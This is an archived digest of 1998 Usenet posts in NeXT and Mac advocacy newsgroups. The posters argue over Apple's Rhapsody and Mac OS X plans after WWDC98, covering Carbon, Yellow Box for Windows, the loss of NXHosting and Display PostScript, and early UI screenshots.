References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213>
<EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
Mime-Version: 1.0
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Cc: spammers@ruin.the.internet.channelu.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<6jco3t$6ns$3@msunews.cl.msu.edu>) by
spammers@ruin.the.internet.channelu.com:
> In <EsvyFs.7qK@micmac.com> Michel Coste wrote:
> > This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
> > (<see-below-1205981743380001@209.24.240.213>) by Matthew Vaughan:
> >
> > > Oh? Where did Apple suggest Carbon would run on Intel?
> >
> >
> > And I suggest that you read these comments by Mike Paquette:
> >
> > <<Who says they[Carbon APIs]'re not portable??? :-)
> > Erf, erf, erf...>>
> >
> >
> > ERF, ERF, ERF!!!
> >
>
> So perhaps this is supposed to make me happy. Why in the heck
> would I want to write for Carbon when I can write for YB. Now if
> your going to tell me YB on Mach for Intel is dead then I'm going
> to be a little upset..
To be more didactive this time:
Mac OS X is exactly like Rhapsody with the added "Carbon".
Nothing is changed for OpenStep programmers.
The added abilities is for chilly Mac programmers...
I'm always puzzled by human abilities to _complain_ without trying *first*
to understand what's happening! (this added to your special abilities to
_misread_ too fast........)
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 13:28:13 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et02r1.4qs@micmac.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213>
<EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Cc: spammers@ruin.the.internet.channelu.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<6jco3t$6ns$3@msunews.cl.msu.edu>) by
spammers@ruin.the.internet.channelu.com:
> So perhaps this is supposed to make me happy. Why in the heck
> would I want to write for Carbon when I can write for YB.
Are you drunk or what?????? What do you smoke? banana?
I'm a NeXTist since a long long time and I don't understand how you read...
Carbon is an addition to Rhapsody. It's made to please some Mac developpers
not you!!!
It's clear for everybody with brain at the right place...
And none of my posts could suggest what you think you read...
Carbon is not made for writing apps... just for already written Mac apps!
> Now if
> your going to tell me YB on Mach for Intel is dead then I'm going
> to be a little upset..
???????
If you believe I suggested something akin your delirium, I'm afraid of your
reading and understanding abilities!
> Randy
> rencsok at
> channelu dot com
> argus dot cem dot msu dot edu
>
> spammers works also :)
>
> Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
>
> Turbo Software Consulting, Programming, etc.)
>
>
mc
From: "Rudolf B. Blazek" <blazek@stt.msu.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Fri, 15 May 1998 12:49:44 -0400
Organization: Michigan State University
Sender: blazek@entropy6
Message-ID: <Pine.NXT.3.96.980515123216.1898A-100000@entropy6>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <355C6969.6907242B@trilithon.com>
On Fri, 15 May 1998, Henry McGilton wrote:
> some clever way to obtain the effect. As for me, I'm not
> concerned that the lack of NXHosting will drive Apple out
> of business.
But it could drive me out of Rhapsody / MacOS X.
Rudy
---
Rudolf Blazek blazek@stt.msu.edu
Michigan State University (NeXTmail, Sun, MIME compatible)
Statistics and Probability http://www.stt.msu.edu/~blazek
From: jes@rednsi.com (Josep Egea i Sanchez)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: 15 May 1998 16:47:02 GMT
Organization: Telefonica Transmision de Datos
Message-ID: <6jhri6$c6u$2@diana.bcn.ibernet.es>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <3559E459.6B0178B4@trilithon.com>
<6jh0cf$1cc$37@ironhorse.plsys.co.uk>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: malcolm@plsys.co.uk
In <6jh0cf$1cc$37@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> What can I say...
>
> http://www.stepwise.com/SpecialCoverage/WWDC98/
> Thursday-Graphics.html
>
> Best wishes,
If NXHost/NSHost goes away it will be -by far- the worst peace of news to
arise from WWDC98 (IMHO, of course). It will be a HUGE step backward in one
field where Rhapsody/MacOS X could be far better that Windows.
Of course lack of support of PS and EPS is big loss too, specially given
Apple's interest in the publishing market.
Maybe they plan to keep PS in Rhapsody and sell it as a server that can be
used by publishing networks, even after introducing MacOS X. Perhaps Apple
intends to perpetuate the dual OS scenario (like NT/95) and use Rhapsody not
only as a server but also as a power client, with a full featured PS
environment and remote windowing. In this case, the only piece I miss is how
this translates to YB/Windows. Maybe there should be two options: a free
runtime without PS and a complete version with it and licensed for a price
(like now). I would certainly pay for it!
OTOH, if vector graphics interchange/edition becomes easier, that'll be a big
win. For me, this was the only problem with EPS.
Best regards
--
Josep Egea - jes@rednsi.com - NeXTMail & MIME OK
NEXUS Servicios de Informacion - Barcelona (Spain)
Telf: + 34 3 285 00 70 - Fax: + 34 3 284 31 43
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 11:38:29 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1505981138290001@130.130.117.53>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com> <6jd4b4$5nv$4@msunews.cl.msu.edu> <355A1631.F7BD6362@milestonerdl.com> <6jfv8f$1cc$34@ironhorse.plsys.co.uk>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6jfv8f$1cc$34@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
:Why give Micro$oft free advertising?
:Apple should market its own products. When Win98/NT5 ships, then say
:something about it.
There seems to be a loss of the distinction between a minor upgrade to an
existing operating system that does little other than roll a few service
packs into a general release and is ready to ship this week and a major
upgrade to an operating system that shares little code with the former and
is not supposed to ship for a year or so. I would assume that YB for
windows hosted on W98 has a few trivial changes that would need to be made
in order achieve the same level of functionallity as already exists on 95.
I would not be so stupid as to make any assumptions about NT5.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
Message-ID: <355C5961.B852E9BA@mci.com>
From: David Hinz <David.Hinz@mci.com>
Organization: MCI
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Fri, 15 May 1998 15:03:51 GMT
NNTP-Posting-Date: Fri, 15 May 1998 11:03:51 EDT
My opinion is that the icons of the folders, trashcan, Grab.app, and
localhost (disk drive) look like toys while the icons for Clock.app,
PrintManager, Terminal, and the NetInfo info window all look like
professionally done icons. Even the text layout and the graphics on the
NetInfoManager window look better than the graphics on the
NetworkManager.
They at least need to decide what type of icons they are going to use
and standardize on "toy" icons or "real" icons. I hope they use the old
NextStep/OpenStep look. :)
dave.
mmalcolm crawford wrote:
>
> In <355bc985.0@206.25.228.5> John Kheit wrote:
> > www.stepwise.com has a new article out with screen grabs of RDR2.
> > Good going guys. Nice article.
> >
> Cheers -- thanks though to Apple for letting us do it.
>
> > OK, I couldn't hold back a second longer. GOSH THAT FREAKIN UI
> > SUCKS BIG BOGON SCOOPS. Ah, I feel much better now.
> >
> Actually you get used to it.
> Again, it's how it feels that's important.
>
> The one thing I really still miss is the Shelf on the FileBrowser.
> Not having that is a pain in the bottom.
>
> Best wishes,
>
> mmalc.
--
=====================================================
= David Hinz MCI Telecommunications =
= Internet and New Media Development =
= Email: David.Hinz@MCI.com Phone: (303) 390-6108 =
= Vnet: 636-6108 Fax: (303) 390-6365 =
= Pager: 1-888-900-5732 (Interactive 2-way) =
=====================================================
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 May 1998 13:18:35 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhtdb$ak3$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355C2C23.2DA93D1@milestonerdl.com> <6jhn1p$a0p$1@crib.bevc.blacksburg.va.us> <355C6011.CF89EC75@milestonerdl.com>
In article <355C6011.CF89EC75@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > > You can't rebut the lack of public committment to NT 5.x/98,
> > I can and did.
> Where? Where is the URL to a document saying Apple has a committment to NT
> 5.x/98?
In another article in this thread. But aside from that, in the absence
of a press release from Apple, the arguments in favor of Apple
committing to NT5/98 are far more convincing than your arguments that
"they haven't announced it so they won't do it" or "they're going to
pull a bait-and-switch".
> > It is certainly true that every time I say something, you turn around
> > and say "therefore Apple isn't committed to cross-platform"
> I'm asking about long term cross-platform support and you bring up:MacOS X
> Rhapsody
Uh, it's rather been the other way around. I've been discussing MacOS X
and Rhapsody, and you jump in and interject "therefore Apple isn't
committed to cross-platform" into anything I say.
> You can not back up any kind of long-term cross platform support with a
> statement about NT 5.x/98 nor have you rebutted THIS:
I can too.
> http://www.macnn.com/macnn/reality/archives/051198/news.shtml
I have. I have presented a number of reasons why it's in Apple's best
interests to do so, and why Apple probably realizes this.
You seem to be under the impression that if Apple doesn't issue a press
release about something then it's not going to happen, which is patently
false.
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple's OS strategy explained.
Date: Fri, 15 May 1998 11:57:32 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1505981157320001@130.130.117.53>
References: <35598169.7E5DC5ED@milestonerdl.com> <B17F1E7C-2396B@206.165.43.172>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <B17F1E7C-2396B@206.165.43.172>, "Lawson English"
<english@primenet.com> wrote:
:M Rassbach <mark@milestonerdl.com> said:
:>Jeremy Reimer wrote:
:>
:>> However these applications when run under Rhapsody
:>> need to use the Yellow-to-Black translation layer, codenamed Forte,
:>which
:[...]
:>> However you should not code for the Purple Box if you intend
:>> for your applications to run on the Yellow, Red, Blue or Black boxes,
:>> instead, you should use the upcoming Mac OS XVI Gold Box, which will
:only
:>> run on G4 computers, but which emulates System 7.5 and earlier using the
:>> Mauve Box for full compatibility.
:>
:>Errrr yea. Do you have a color chart that explains this better :-)
:
:You should see how they have implemented the Color Picker for this...
Actually it is already in the crayon color picker if you hold down option
command + while standing on one foot and select the worn down black crayon
the pointer will turn in to a little stylus. You then write the word
"magic" on the screen and using some recycled technology from the newton
development it will do the required hand writing recognition and the
crayons will change their names to represent the various colored
boxes.They then proceed to draw the system diagram for Rhapsody 1.0. If
the mac happens to have an internet connection the diagram will now show
the updated Mac OS X diagrams if you have connected to Apple's web site in
the last two weeks (communicated through changes in the LSB in the apple
logo colors in case you were wondering).
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 17:25:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jhtr4$ibt$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com>
mark@milestonerdl.com wrote:
> > The death of YB as a cross-platform solution. If Apple were going to
> > announce long-term YB Windows support or long-term Rhapsody/Intel support,
> > I think they would have announced it at WWDC. They did not. Read between
> > the lines. What does this tell you?
>
> The party is NOT over yet.
>
> Now, I asked about YellowBox on NT 5.x/98 5-7 months ago. And, when
> WWDC was ramping up, the ProNeXT people said 'wait for WWDC, it will
> tell all'.
> WWDC isn't over yet....but when it is, and there is no NT 5.x
> announcement, the cross-platform YellowBox will be a promise that
> Apple has no intention of supporting it in the long-term.
According to Scott Anguish's detailed WWDC notes:
:: One thing that I do want to note is that it was mentioned on
:: several occasions that Yellow Box for Windows is a long-term
:: commitment, and that it will run on Windows 98 and NT 5.0
:: (if it ever appears). I think it was mentioned that DR2 runs
:: on the current Windows 98 beta.
See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
Satisfied?
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 16:03:20 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6jhp08$5he@ragnarok.en.uunet.de>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
mmalcolm crawford wrote:
> In <355bc985.0@206.25.228.5> John Kheit wrote:
> > www.stepwise.com has a new article out with screen grabs of RDR2.
> > Good going guys. Nice article.
> >
> Cheers -- thanks though to Apple for letting us do it.
I agree - good reading for those of us who don't have their DR2 yet.
> > OK, I couldn't hold back a second longer. GOSH THAT FREAKIN UI
> > SUCKS BIG BOGON SCOOPS. Ah, I feel much better now.
> >
> Actually you get used to it.
Wow..I got the same reply from someone who recently switched from
NeXTSTEP to NT. I think 'getting used to' is the real problem here.
Just too much technology these days is unacceptably stupid, yet
'people get used to it'. How depressing.
> Again, it's how it feels that's important.
Agreed.
> The one thing I really still miss is the Shelf on the FileBrowser.
> Not having that is a pain in the bottom.
Do you happen to know if there's any particular reason for that?
I mean, why not make it optional, as it is now in NS. It's not that
somebody might get hurt by an optional (!) pull-down dimple.
Putting things on the desktop is extremely inconvenient - the distance
is too large, you can't shuffle the file browser around any longer
(because you'd obscure the droppped object), you can't iconify
the browser together with the 'shelved' objects etc. - seems like
a big omission to me, and not something I'd expect from a supposedly
world class UI team.
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 15 May 1998 13:39:49 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhul5$an9$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <355C49C2.8D4B8434@milestonerdl.com> <6jhojs$a94$1@crib.bevc.blacksburg.va.us> <355C6B52.816B8599@milestonerdl.com>
In article <355C6B52.816B8599@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <355C49C2.8D4B8434@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > Damn straigh. But to say Apple has a future in a long-term cross-platform
> > > plan, flies in the face of reality.
> > We're all going to enjoy watching you eat those words. Immensely.
> Then produce a URL with an offical Apple Statement. I'm hungry.
Oh, but how much sweeter it will be to see you eat those words when Apple
actually ships YB/Windows for NT5 or 98. After all, you've told us
that Apple statements of commitment are not to be trusted. I'm hoping
that Apple _doesn't_ issue a formal press release, that would be even
more amusing.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: 15 May 1998 13:43:48 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhusk$ao4$1@crib.bevc.blacksburg.va.us>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jh0cf$1cc$37@ironhorse.plsys.co.uk> <6jhri6$c6u$2@diana.bcn.ibernet.es> <355C741A.8769F71@trilithon.com>
In article <355C741A.8769F71@trilithon.com>, Henry McGilton <henry@trilithon.com> wrote:
> Josep Egea i Sanchez wrote:
> * If NXHost/NSHost goes away it will be -by far- the
> * worst peace of news to arise from WWDC98 (IMHO, of
> * course). It will be a HUGE step backward in one
> * field where Rhapsody/MacOS X could be far better
> * that Windows.
> Cobblers.
I agree with Josep. The news from WWDC has been almost universally
better than what I had hoped for. The death of NSHosting is one of
the most noticeable blemishes, and the indeed worst piece of news from
WWDC, IMHO. And it is a big step backward; it provides the only good
means for a host running a GUI-based OS to be controlled remotely,
or to take advantage of another hosts' CPU cycles.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 13:45:29 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhuvp$aop$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com>
In article <6jhtr4$ibt$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> mark@milestonerdl.com wrote:
> > [...] Apple has no intention of supporting it in the long-term.
> According to Scott Anguish's detailed WWDC notes:
> :: One thing that I do want to note is that it was mentioned on
> :: several occasions that Yellow Box for Windows is a long-term
> :: commitment, and that it will run on Windows 98 and NT 5.0
> :: (if it ever appears). I think it was mentioned that DR2 runs
> :: on the current Windows 98 beta.
> See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
> Satisfied?
Of course not, nothing less than a notarized certificate handed to him
by Steve Jobs himself will satisfy him. :)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 13:49:30 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhv7a$aph$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <895179379.806734@kelp.mbay.net> <6jfmgm$7pe$1@crib.bevc.blacksburg.va.us> <6jhodi$ckf@papoose.quick.com>
In article <6jhodi$ckf@papoose.quick.com>, jq@papoose.quick.com (James E. Quick) wrote:
> In article <6jfmgm$7pe$1@crib.bevc.blacksburg.va.us>,
> Nathan Urban <nurban@vt.edu> wrote:
> >But the point was that without YB on MacOS, the footing isn't equal.
> >Developers can say "Well, I can write a Carbon app that will run on
> >OS X and MacOS, or a Yellow one that will run on OS X and Windows".
> >There are advantages to targeting Windows, but there are advantages to
> >targeting MacOS too -- especially if you're already in the Mac market.
> >Mac developers may choose Carbon so to satisfy some of their loyal
> >customer base, even if Yellow is a technically superior choice.
> Nathan you have a point but not a relevant one.
It is too relevant.
> It's not about
> seats but about sales. As systems get older their users buy less
> software for them. Even when a substantial portion of the market
> has older systems, they tend to purchase less, and therefor are a
> disproportionately smaller part of the software marketplace.
I understand that, but System 7/8-based platforms are still going to
represent a large portion of _sales_ until OS X has been adopted in a
more widespread matter. The adoption of OS X will undoubtedly happen,
but it will take time before penetration is such that developers can
choose to ignore those customers, the size of the Mac market being what
it is and all.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 15 May 1998 13:52:53 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhvdl$aq7$1@crib.bevc.blacksburg.va.us>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com>
In article <355C6969.6907242B@trilithon.com>, Henry McGilton <henry@trilithon.com> wrote:
> Nathan Urban wrote:
> * This is bad. :( What good is having the pretense
> * of a network-aware GUI-based OS without being able
> * to run apps remotely??
> Nathan, the lack of NXHosting may be "bad" from a specialised
> viewpoint of some developers and some specialised applications
> such as Mathematica et al.
Not at all. There are still plenty of advantages to be able to run an
application remotely!
> But I don't believe it's "bad"
> in the broader picture of the PC consumer market. Ninety nine
> percent of Mac and PC users wouldn't knonw remote hosting if
> it bit them on the leg, wouldn't understand it if you explained
> it to them, and wouldn't know what to do with it even then.
I disagree. Businesses and academia especially are becoming increasingly
aware of network-centric computing.
> From the viewpoint of hardware and software sales, NXHosting
> won't have any effect.
Yes, it's not a deciding factor given all the other
advantages/disadvantages of the OS, especially because Windows doesn't
have it either, but it's still a major loss.
> As for me, I'm not
> concerned that the lack of NXHosting will drive Apple out
> of business.
Well, I'm not either since it obviously hasn't driven Microsoft out of
business, but that doesn't mean that its lack isn't a very bad thing!
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 15 May 1998 17:19:34 GMT
Organization: Cygnus Solutions
Message-ID: <6jhtf6$n53$1@cronkite.cygnus.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com>
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Cc: henry@trilithon.com
In <355C6969.6907242B@trilithon.com> Henry McGilton wrote:
> Nathan Urban wrote:
>
> * This is bad. :( What good is having the pretense
> * of a network-aware GUI-based OS without being able
> * to run apps remotely??
>
> Nathan, the lack of NXHosting may be "bad" from a specialised
> viewpoint of some developers and some specialised applications
> such as Mathematica et al. But I don't believe it's "bad"
> in the broader picture of the PC consumer market. Ninety nine
> percent of Mac and PC users wouldn't knonw remote hosting if
> it bit them on the leg, wouldn't understand it if you explained
> it to them, and wouldn't know what to do with it even then.
>
> From the viewpoint of hardware and software sales, NXHosting
> won't have any effect. Bit of a drag for those who *really*
> need the feature. I'm sure that somebody will come up with
> some clever way to obtain the effect. As for me, I'm not
> concerned that the lack of NXHosting will drive Apple out
> of business.
>
I think you're wrong about it not costing them anything.
Within the sales of the single box home user market, sure it wont cost Apple
any sales. But that's not their only market. They sell to educational
markets, which use networks a lot. They want to sell more to businesses,
which also use networks alot.
One very useful thing about being able to remotely run apps is that you can
sink lots of money into a single group of fast compute servers which then
display back to cheaper workstations. In a sense, this is the concept of the
Xterminal, the NC, and environments like what the nMac sounds like it will be
targetet at.
For example, a 486/100 can run Openstep for Mach just fine.. it's a little
slow for a lot of things, but it can run it. If you have a gaggle of
486/100's, and Rhapsody will run on a 486 or low end Pentium, why not keep
those boxes and run Rhapsody on them? Then, once they're available with
Rhapsody on them, buy a big multiprocessing
PPC box as your CPU farm. You run applications on the big box, and your
workspace manager and display work all go on the low end box.
And it doesn't necessarly have to be just a solution for cheap end machine
networks. Any network in which there is a high performance central system
that has the yellow box on it, and upon which you must do some of your work,
can take advantage of this. If you can't remotely display your work, then
you would have to do all of your work via the shell.... is THAT what Apple
wants to promote!? "Buy Rhapsody so you can do small stuff in an advanced
GUI environment, and do real work via a CLI!" -- somehow that strikes me as
decidedly un-Macintosh (though, until now, that is ofcourse how you've HAD to
do things if your end machine was a Mac).
Basically, any customer who is buying Rhapsody/MacOSX for a network is going
to see this datum and lower their percieved value of the platform by a notch.
And that _WILL_ cost them sales. Sure, it's hard to do it via Win32.. but
Apple isn't the monopoly here.. MS can get away with it becuase they're the
dominant provider. Apple has to be better than MS at every turn, or they'll
loose sales to MS solutions. Cutting a feature like this is just one more of
those things that removes an incentive to "think differently", and play it
safe by buying what everyone else buys.
The only way getting rid of NXHosting makes sense is if they're replacing it
with a better, more transparent, mechanism of opening an application on a
remote host and/or displaying an application remotely. But, like the Newton,
I bet they haven't announced a replacement before killing the current
mechanism.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 17:54:36 GMT
Organization: MiscKit Development
Message-ID: <6jhvgs$6sf$1@news.xmission.com>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de>
hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette) wrote:
> mmalcolm crawford wrote:
> > Actually you get used to it.
>
> Wow..I got the same reply from someone who recently switched from
> NeXTSTEP to NT. I think 'getting used to' is the real problem here.
> Just too much technology these days is unacceptably stupid, yet
> 'people get used to it'. How depressing.
mmalc didn't necessarily mean it in a bad way. Even if the GUI where 1,000
times better, switching to it from what you have been using before would
require "getting used to it". Any change in UI, good or bad, would require
it.
That said, there are certainly aspects of DR2 that I think are ugly. There
are also things which I would consider to be an improvement...
With the themes/appearance manager stuff, I get the impression that there
will be lots of room for customization of the look. As mmalc points out, the
"feel" is the hard part to get right. Once you have that, and Rhapsody has
it, then you can worry about the "look". And I'll bet that if Apple doesn't
make it look nicer, some freeware and shareware alternatives will do it for
you. It isn't that hard to adjust the look of Yellow Box apps, after all...
:-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy
Subject: Deep in the Stepwise notes: Mozilla runs!
Date: 15 May 1998 11:59:00 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6jhvp4$25n$1@xmission.xmission.com>
http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-BSD.html
"The second demo was a port of Netscape's Communicator product. Yep..
Matt Watson downloaded the Mozilla source, and it was actually running in
a yellow box window. It took very little time (about 20 hours) and
required few changes (27 lines) in the original code. The majority of the
work was required to modify the configuration tools and makefiles. One
very cool thing that he did was compiled the Netscape source as a shared
library, so his application that called the Mozilla code was actually
fairly small, and fast to compile. So fast infact that hey changed a line
of code in the display code and recompiled just to demonstrate. I don't
know how fully feature the Yellow Box UI was, but it was able to pull up
and display the Netscape homepage, among others, without any problem."
..........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
Message-ID: <355C846C.1C4327A0@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <see-below-1305982038310001@209.24.241.190>
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Date: Fri, 15 May 1998 18:04:07 GMT
NNTP-Posting-Date: Fri, 15 May 1998 14:04:07 EDT
Matthew Vaughan wrote:
>
> How can it be "late" when this is the first time Apple ever gave any
> indication such a thing might ever exist?
>
Will you guys puh-leas-s-s-se make up your minds? Please?....:) With a
cracker on top?
You say "Mac OS 10" is Rhapsody renamed. If it is, then it's 18 moths
late (if it's released in Q3 1999.)
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 12:12:01 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C7761.BD877743@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com> <6jd4b4$5nv$4@msunews.cl.msu.edu> <355A1631.F7BD6362@milestonerdl.com> <6jfv8f$1cc$34@ironhorse.plsys.co.uk> <geordie-1505981138290001@130.130.117.53>
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Geordie Korper wrote:
> In article <6jfv8f$1cc$34@ironhorse.plsys.co.uk>, mmalcolm crawford
